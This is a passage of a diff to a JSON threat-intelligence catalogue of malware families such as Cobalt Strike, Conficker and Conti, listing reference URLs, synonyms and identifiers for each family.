"https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", + "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures", + "https://blog.cyble.com/2022/05/20/malware-campaign-targets-infosec-community-threat-actor-uses-fake-proof-of-concept-to-deliver-cobalt-strike-beacon/", + "https://redcanary.com/blog/gootloader", + "https://www.sekoia.io/en/walking-on-apt31-infrastructure-footprints/", + "https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728", + "https://blog.zsec.uk/cobalt-strike-profiles/", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-265a", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://www.trendmicro.com/en_us/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html", + "https://medium.com/@shabarkin/pointer-hunting-cobalt-strike-globally-a334ac50619a", + "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", + "http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", + "https://www.mandiant.com/resources/apt41-us-state-governments", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://michaelkoczwara.medium.com/cobalt-strike-hunting-dll-hijacking-attack-analysis-ffbf8fd66a4e", + "https://paper.seebug.org/1301/", + "https://github.com/blackorbird/APT_REPORT/blob/master/Oceanlotus/apt32_report_2019.pdf", + "https://tccontre.blogspot.com/2019/11/cobaltstrike-beacondll-your-not.html", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://cyber.wtf/2022/03/23/what-the-packer/", + "https://twitter.com/AltShiftPrtScn/status/1403707430765273095", + "https://www.mandiant.com/resources/defining-cobalt-strike-components", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/", + "https://elastic.github.io/security-research/intelligence/2022/01/03.extracting-cobalt-strike-beacon/article/", + "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", + "https://cert.gov.ua/article/37704", + "https://malwarebookreports.com/cryptone-cobalt-strike/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://michaelkoczwara.medium.com/mapping-and-pivoting-cobalt-strike-c2-infrastructure-attributed-to-cve-2021-40444-438786fcd68a", + "https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/", + "https://cert.gov.ua/article/339662", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://www.istrosec.com/blog/apt-sk-cobalt/", + "https://cpj.org/2021/02/vietnam-based-hacking-oceanlotus-targets-journalists", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://www.youtube.com/watch?v=gfYswA_Ronw", + "https://twitter.com/MsftSecIntel/status/1522690116979855360", + "https://www2.deloitte.com/content/dam/Deloitte/dk/Documents/Grabngo/Aarhus_miniseminar_291118.pdf", + "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://vanmieghem.io/blueprint-for-evading-edr-in-2022/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang", + "https://www.lac.co.jp/lacwatch/people/20180521_001638.html", + "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", + "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-seizure-domain-names-used-furtherance-spear", + "https://isc.sans.edu/diary/rss/28448", + "https://community.riskiq.com/article/0bcefe76", + "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", + "https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/", + "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/", + "https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618", + "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://inteloperator.medium.com/the-default-63-6f-62-61-6c-74-strike-8ac9ee0de1b7", + "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_201_haruyama_jp.pdf", + "https://www.ic3.gov/Media/News/2021/210823.pdf", + "https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/", + "https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/", + "https://www.sentinelone.com/blog/hive-ransomware-deploys-novel-ipfuscation-technique/", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://www.youtube.com/watch?v=LA-XE5Jy2kU", + "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", + "https://www.trendmicro.com/en_us/research/20/i/u-s--justice-department-charges-apt41-hackers-over-global-cyberattacks.html", + "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", + "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", + "https://github.com/swisscom/detections/blob/main/RYUK/cobaltstrike_c2s.txt" ], "synonyms": [ "Agentemis", "BEACON", - "CobaltStrike" + "CobaltStrike", + "cobeacon" ], "type": [] }, @@ -16277,8 +17050,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobian_rat", "https://securityaffairs.co/wordpress/62573/malware/cobian-rat-backdoor.html", - "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/" ], "synonyms": [], "type": [] @@ -16291,15 +17064,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint", - "https://www.group-ib.com/blog/renaissance", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/cobalt_upd_ttps/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint", - "https://www.netscout.com/blog/asert/double-infection-double-fun", "https://asert.arbornetworks.com/double-the-infection-double-the-fun/", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood" + "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-3-cobint", + "https://www.secureworks.com/research/threat-profiles/gold-kingswood", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.group-ib.com/blog/renaissance", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/cobalt_upd_ttps/", + "https://www.netscout.com/blog/asert/double-infection-double-fun" ], "synonyms": [ "COOLPANTS" @@ -16315,19 +17088,20 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobra", "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf", - "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://github.com/hfiref0x/TDL", "https://docs.broadcom.com/doc/waterbug-attack-group", - "https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", "https://github.com/sisoma2/malware_analysis/tree/master/turla_carbon", - "https://www.youtube.com/watch?v=FttiysUZmDw", - "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra", + "https://www.govcert.ch/downloads/whitepapers/Report_Ruag-Espionage-Case.pdf", "https://www.circl.lu/pub/tr-25/", - "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf" + "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/", + "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/", + "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://github.com/hfiref0x/TDL", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity" ], "synonyms": [ "Carbon" @@ -16363,6 +17137,19 @@ "uuid": "cb5bad79-707c-493d-8a2b-4c0be38301c5", "value": "CodeKey" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.code_core", + "https://medium.com/s2wblog/%E5%8F%98%E8%84%B8-teng-snake-a-k-a-code-core-8c35268b4d1a" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3952f4e0-0621-4bc3-bc6f-a848e0e49bd1", + "value": "CodeCore" + }, { "description": "", "meta": { @@ -16381,10 +17168,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer", - "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/", - "https://secrary.com/ReversingMalware/CoinMiner/", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/" + "https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/amp/", + "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", + "https://www.triskelelabs.com/investigating-monero-coin-miner", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://secrary.com/ReversingMalware/CoinMiner/" ], "synonyms": [], "type": [] @@ -16424,11 +17214,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldseal", - "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html", "https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/", + "https://www.xylibox.com/2012/01/coldeal-situation-is-under-control.html", + "https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html", "https://www.youtube.com/watch?v=242Tn0IL2jE", - "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", - "https://www.xylibox.com/2012/01/cracking-coldeal-541-fwb.html" + "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/" ], "synonyms": [ "ColdSeal" @@ -16443,8 +17233,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.coldstealer", - "https://asec.ahnlab.com/en/32090/", - "https://asec.ahnlab.com/ko/31703/" + "https://asec.ahnlab.com/ko/31703/", + "https://asec.ahnlab.com/en/32090/" ], "synonyms": [], "type": [] @@ -16458,9 +17248,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colibri", "https://cloudsek.com/in-depth-technical-analysis-of-colibri-loader-malware/", + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://fr3d.hk/blog/colibri-loader-back-to-basics", - "https://github.com/Casperinous/colibri_loader", - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/" + "https://github.com/Casperinous/colibri_loader" ], "synonyms": [], "type": [] @@ -16488,9 +17278,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.colony", + "https://pastebin.com/GtjBXDmz", "https://twitter.com/anyrun_app/status/976385355384590337", - "https://secrary.com/ReversingMalware/Colony_Bandios/", - "https://pastebin.com/GtjBXDmz" + "https://secrary.com/ReversingMalware/Colony_Bandios/" ], "synonyms": [ "Bandios", @@ -16532,11 +17322,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comebacker", - "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/", "https://norfolkinfosec.com/dprk-targeting-researchers-ii-sys-payload-and-registry-hunting/", - "https://www.anquanke.com/post/id/230161", "https://www.microsoft.com/security/blog/2021/01/28/zinc-attacks-against-security-researchers/", - "https://norfolkinfosec.com/dprk-malware-targeting-security-researchers/" + "https://www.comae.com/posts/pandorabox-north-koreans-target-security-researchers/", + "https://norfolkinfosec.com/dprk-malware-targeting-security-researchers/", + "https://www.anquanke.com/post/id/230161" ], "synonyms": [], "type": [] @@ -16562,8 +17352,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.comlook", - "https://twitter.com/ClearskySec/status/1484211242474561540", - "https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook" + "https://www.msreverseengineering.com/blog/2022/1/25/an-exhaustively-analyzed-idb-for-comlook", + "https://twitter.com/ClearskySec/status/1484211242474561540" ], "synonyms": [], "type": [] @@ -16590,9 +17380,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.compfun", - "https://securelist.com/compfun-successor-reductor/93633/", - "https://securelist.com/compfun-http-status-based-trojan/96874/", "https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", + "https://securelist.com/compfun-successor-reductor/93633/", + "https://securelist.com/it-threat-evolution-q2-2020/98230", + "https://securelist.com/compfun-http-status-based-trojan/96874/", "https://securelist.com/apt-trends-report-q2-2019/91897/" ], "synonyms": [ @@ -16608,10 +17399,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.computrace", - "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/", - "https://www.secureworks.com/research/threat-profiles/iron-twilight", "https://bartblaze.blogspot.de/2014/11/thoughts-on-absolute-computrace.html", - "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/" + "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/", + "https://www.secureworks.com/research/threat-profiles/iron-twilight", + "https://www.lastline.com/labsblog/apt28-rollercoaster-the-lowdown-on-hijacked-lojack/" ], "synonyms": [ "lojack" @@ -16653,15 +17444,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conficker", - "https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf", "http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.minitool.com/backup-tips/conficker-worm.html", - "https://redcanary.com/blog/intelligence-insights-january-2022/", "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Conficker/Conficker.md", "https://www.kaspersky.com/about/press-releases/2009_kaspersky-lab-analyses-new-version-of-kido--conficker", + "https://www.minitool.com/backup-tips/conficker-worm.html", + "https://www.sophos.com/fr-fr/medialibrary/PDFs/marketing%20material/confickeranalysis.pdf", + "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", + "http://contagiodump.blogspot.com/2009/05/win32conficker.html", "https://github.com/tillmannw/cnfckr", - "http://contagiodump.blogspot.com/2009/05/win32conficker.html" + "https://redcanary.com/blog/intelligence-insights-january-2022/" ], "synonyms": [ "Kido", @@ -16678,10 +17469,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.confucius", - "https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/", "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat", "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/" + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-confucius-says-malware-families-get-further-by-abusing-legitimate-websites/", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-recent-inpage-exploits-lead-multiple-malware-families/" ], "synonyms": [], "type": [] @@ -16690,185 +17481,192 @@ "value": "Confucius" }, { - "description": "Ransomware.", + "description": "Conti is an extremely damaging ransomware due to the speed with which it encrypts data and spreads to other systems. It was first observed in 2020 and it is thought to be led by a Russia-based cybercrime group that goes under the Wizard Spider pseudonym. In early May 2022, the US government announced a reward of up to $10 million for information on the Conti ransomware gang.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti", - "https://www.prevailion.com/what-wicked-webs-we-unweave/", - "https://www.ironnet.com/blog/ransomware-graphic-blog", - "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://news.sophos.com/en-us/2021/02/16/what-to-expect-when-youve-been-hit-with-conti-ransomware/", - "https://cyware.com/news/ransomware-becomes-deadlier-conti-makes-the-most-money-39e17bae/", - "https://arcticwolf.com/resources/blog/conti-ransomware-leak-analyzed", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", - "https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru", - "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", - "https://www.advintel.io/post/24-hours-from-log4shell-to-local-admin-deep-dive-into-conti-gang-attack-on-fortune-500-dfir", - "https://www.youtube.com/watch?v=uORuVVQzZ0A", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again", - "https://www.youtube.com/watch?v=hmaWy9QIC7c", - "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-evasive-by-nature/", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.cyberscoop.com/ransomware-gang-conti-bounced-back/", - "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", - "https://github.com/cdong1012/ContiUnpacker", - "https://research.checkpoint.com/2022/leaks-of-conti-ransomware-group-paint-picture-of-a-surprisingly-normal-tech-start-up-sort-of/", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://www.ic3.gov/Media/News/2021/210521.pdf", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.bleepingcomputer.com/news/security/hhs-conti-ransomware-encrypted-80-percent-of-irelands-hse-it-systems/", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://www.bleepingcomputer.com/news/security/angry-conti-ransomware-affiliate-leaks-gangs-attack-playbook/", - "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", - "https://0xthreatintel.medium.com/reversing-conti-ransomware-bfce15019e74", - "https://cluster25.io/2022/03/02/contis-source-code-deep-dive-into/", - "https://www.mbsd.jp/2022/03/08/assets/images/MBSD_Summary_of_ContiLeaks_Rev3.pdf", - "https://intel471.com/blog/conti-leaks-cybercrime-fire-team", - "https://twitter.com/AltShiftPrtScn/status/1350755169965924352", - "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-conti", - "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", - "https://cocomelonc.github.io/tutorial/2022/04/02/malware-injection-18.html", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", - "https://blog.qualys.com/vulnerabilities-threat-research/2021/11/18/conti-ransomware", - "https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://krebsonsecurity.com/2021/10/conti-ransom-gang-starts-selling-access-to-victims/", "https://github.com/TheParmak/conti-leaks-englished", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://share.vx-underground.org/Conti/", - "https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-source-code-leaked-by-ukrainian-researcher/", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8", - "https://www.unh4ck.com/detection-engineering-and-threat-hunting/lateral-movement/detecting-conti-cobaltstrike-lateral-movement-techniques-part-2", - "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", - "https://www.darktrace.com/en/blog/the-double-extortion-business-conti-ransomware-gang-finds-new-avenues-of-negotiation/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.connectwise.com/resources/conti-profile", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", - "https://www.elliptic.co/blog/conti-ransomware-nets-at-least-25.5-million-in-four-months", - "https://www.bleepingcomputer.com/news/security/hackers-use-contis-leaked-ransomware-to-attack-russian-companies/", - "https://areteir.com/wp-content/uploads/2020/08/Arete_Insight_Is-Conti-the-new-Ryuk_August2020.pdf", - "https://arcticwolf.com/resources/blog/karakurt-web", - "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", - "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", - "https://nakedsecurity.sophos.com/2021/08/06/conti-ransomware-affiliate-goes-rogue-leaks-company-data/", - "https://yoroi.company/research/conti-ransomware-source-code-a-well-designed-cots-ransomware/", - "https://www.mbsd.jp/research/20210413/conti-ransomware/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", - "https://www.redhotcyber.com/post/il-ransomware-conti-si-schiera-a-favore-della-russia", - "https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.clearskysec.com/wp-content/uploads/2021/02/Conti-Ransomware.pdf", - "https://therecord.media/disgruntled-ransomware-affiliate-leaks-the-conti-gangs-technical-manuals/", - "https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", - "https://news.sophos.com/en-us/2021/02/16/conti-ransomware-attack-day-by-day/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://medium.com/@arnozobec/analyzing-conti-leaks-without-speaking-russian-only-methodology-f5aecc594d1b", - "http://chuongdong.com/reverse%20engineering/2020/12/15/ContiRansomware/", - "https://www.trmlabs.com/post/analysis-corroborates-suspected-ties-between-conti-and-ryuk-ransomware-groups-and-wizard-spider", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/787/original/ransomware-chats.pdf", - "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", - "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - "https://twitter.com/AltShiftPrtScn/status/1417849181012647938", - "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", - "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", - "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html", - "https://news.sophos.com/en-us/2022/02/22/cyberthreats-during-russian-ukrainian-tensions-what-can-we-learn-from-history-to-be-prepared/", - "https://news.sophos.com/en-us/2022/02/28/conti-and-karma-actors-attack-healthcare-provider-at-same-time-through-proxyshell-exploits/?cmp=30728", - "https://www.youtube.com/watch?v=cYx7sQRbjGA", - "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", - "https://lifars.com/wp-content/uploads/2021/10/ContiRansomware_Whitepaper.pdf", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", - "https://thedfirreport.com/2021/05/12/conti-ransomware/", - "https://intel471.com/blog/shipping-companies-ransomware-credentials", - 